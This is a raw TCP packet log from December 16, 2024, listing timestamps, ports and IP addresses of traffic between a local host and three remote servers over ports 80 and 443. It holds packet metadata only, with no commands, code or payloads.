Dec 16, 2024 17:02:16.382354021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.382875919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.382924080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.382997990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.383013964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.383042097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.383054018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.383620024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.383665085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.383687973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.383727074 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.383877993 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.383928061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.384290934 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.384362936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.384392023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.384407997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.384434938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.384449959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.385003090 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.385051012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.385133982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.385149002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.385178089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.385189056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.385889053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.385941982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.385968924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.385986090 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.386012077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.386030912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.386557102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.386601925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.386771917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.386826038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.386883020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.386899948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.386931896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.386945009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.387743950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.387793064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.387830019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.387847900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.387881994 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.388430119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.388484955 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.388515949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.388530970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.388557911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.388571024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.389105082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.389166117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.389204025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.389219999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.389246941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.389260054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.389832973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.389895916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.389942884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.389987946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.552531958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.552606106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.552613020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.552627087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.552655935 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.552679062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.552865982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.552882910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.552913904 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.552931070 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.553473949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.553525925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.553605080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.553620100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.553658009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.553767920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.554352999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.554404974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.554452896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.554467916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.554497957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.554508924 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.555417061 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.555485010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.555524111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.555541992 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.555572033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.555589914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.556142092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.556193113 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.556221008 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.556243896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.556277037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.556906939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.556958914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.557075024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.557090998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.557138920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.557138920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.557765007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.557816029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.557924032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.557940006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.557976961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.557995081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.558640957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.558691025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.558767080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.558783054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.558815002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.558830976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.559490919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.559540987 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.559703112 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.559720039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.559750080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.559767008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.560327053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.560379982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.560446978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.560492992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.560652018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.560698986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.561284065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.561347961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.561413050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.561429977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.561460018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.561475039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.562051058 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.562099934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.562186956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.562201977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.562232018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.562247038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.562876940 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.562926054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.563014984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.563030958 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.563064098 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.563074112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.563827038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.563875914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.564049006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.564066887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.564094067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.564116001 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.564737082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.564793110 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.564868927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.564884901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.564914942 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.564930916 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.565481901 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.565531015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.565632105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.565648079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.565677881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.565697908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.566468954 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.566518068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.566687107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.566703081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.566730976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.566747904 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.567419052 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.567468882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.567601919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.567617893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.567645073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.567657948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.568623066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.568717957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.568727970 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.568732977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.568759918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.568849087 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.569144011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.569191933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.569226980 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.569269896 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.569293022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.569334030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.569803953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.569853067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.569957018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.570000887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.570127964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.570174932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.570651054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.570697069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.570768118 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.570813894 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.570947886 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.570996046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.571468115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.571515083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.571588039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.571604967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.571636915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.571650982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.572315931 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.572364092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.572458029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.572474003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.572501898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.572515011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.573185921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.573231936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.573306084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.573322058 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.573359013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.574084997 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.574132919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.574218035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.574233055 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.574264050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.574278116 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.574940920 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.574987888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.575037003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.575052023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.575089931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.575762987 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.575813055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.575872898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.575921059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.576097012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.576142073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.576719999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.576766014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.576953888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.576971054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.577007055 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.577020884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.577615976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.577661037 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.577703953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.577721119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.577747107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.577763081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.578378916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.578424931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.578723907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.578768015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:16.747067928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:16.747154951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:18.529750109 CET	49710	443	192.168.2.8	44.196.3.45
Dec 16, 2024 17:02:18.529779911 CET	443	49710	44.196.3.45	192.168.2.8
Dec 16, 2024 17:02:18.529844999 CET	49710	443	192.168.2.8	44.196.3.45
Dec 16, 2024 17:02:18.542784929 CET	49710	443	192.168.2.8	44.196.3.45
Dec 16, 2024 17:02:18.542798996 CET	443	49710	44.196.3.45	192.168.2.8
Dec 16, 2024 17:02:19.123262882 CET	49707	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:19.126718998 CET	49711	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:19.244117022 CET	80	49707	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:19.244200945 CET	49707	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:19.246743917 CET	80	49711	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:19.246860027 CET	49711	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:19.248253107 CET	49711	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:19.368354082 CET	80	49711	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:20.297091007 CET	443	49710	44.196.3.45	192.168.2.8
Dec 16, 2024 17:02:20.301394939 CET	49710	443	192.168.2.8	44.196.3.45
Dec 16, 2024 17:02:20.301407099 CET	443	49710	44.196.3.45	192.168.2.8
Dec 16, 2024 17:02:20.302987099 CET	443	49710	44.196.3.45	192.168.2.8
Dec 16, 2024 17:02:20.303062916 CET	49710	443	192.168.2.8	44.196.3.45
Dec 16, 2024 17:02:20.304435015 CET	49710	443	192.168.2.8	44.196.3.45
Dec 16, 2024 17:02:20.304527998 CET	443	49710	44.196.3.45	192.168.2.8
Dec 16, 2024 17:02:20.318578959 CET	49710	443	192.168.2.8	44.196.3.45
Dec 16, 2024 17:02:20.318589926 CET	443	49710	44.196.3.45	192.168.2.8
Dec 16, 2024 17:02:20.366127014 CET	49710	443	192.168.2.8	44.196.3.45
Dec 16, 2024 17:02:20.583868027 CET	80	49711	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:20.584891081 CET	49711	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:20.587250948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:20.587526083 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:20.707376957 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:20.707611084 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:20.707619905 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:20.707781076 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:20.707781076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:20.827675104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:21.683130980 CET	443	49710	44.196.3.45	192.168.2.8
Dec 16, 2024 17:02:21.683414936 CET	443	49710	44.196.3.45	192.168.2.8
Dec 16, 2024 17:02:21.683491945 CET	49710	443	192.168.2.8	44.196.3.45
Dec 16, 2024 17:02:21.774502993 CET	49710	443	192.168.2.8	44.196.3.45
Dec 16, 2024 17:02:21.774521112 CET	443	49710	44.196.3.45	192.168.2.8
Dec 16, 2024 17:02:22.032820940 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.032860041 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.032876968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.032885075 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.032896042 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.032917023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.032917023 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.032934904 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.033014059 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.033032894 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.033049107 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.033052921 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.033070087 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.033109903 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.033615112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.033632994 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.033648968 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.033654928 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.033664942 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.033684969 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.153163910 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.153223991 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.153278112 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.153403044 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.157310963 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.157382965 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.224564075 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.224805117 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.224864960 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.228677034 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.228761911 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.228781939 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.228830099 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.237085104 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.240056992 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.240108967 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.240166903 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.240209103 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.248563051 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.248712063 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.248760939 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.257129908 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.257262945 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.257322073 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.265300035 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.265383959 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.265445948 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.273854971 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.273942947 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.274074078 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.274121046 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.286139965 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.286165953 CET	80	49712	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:22.286216021 CET	49712	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:22.286241055 CET	49712	80	192.168.2.8	31.41.244.11
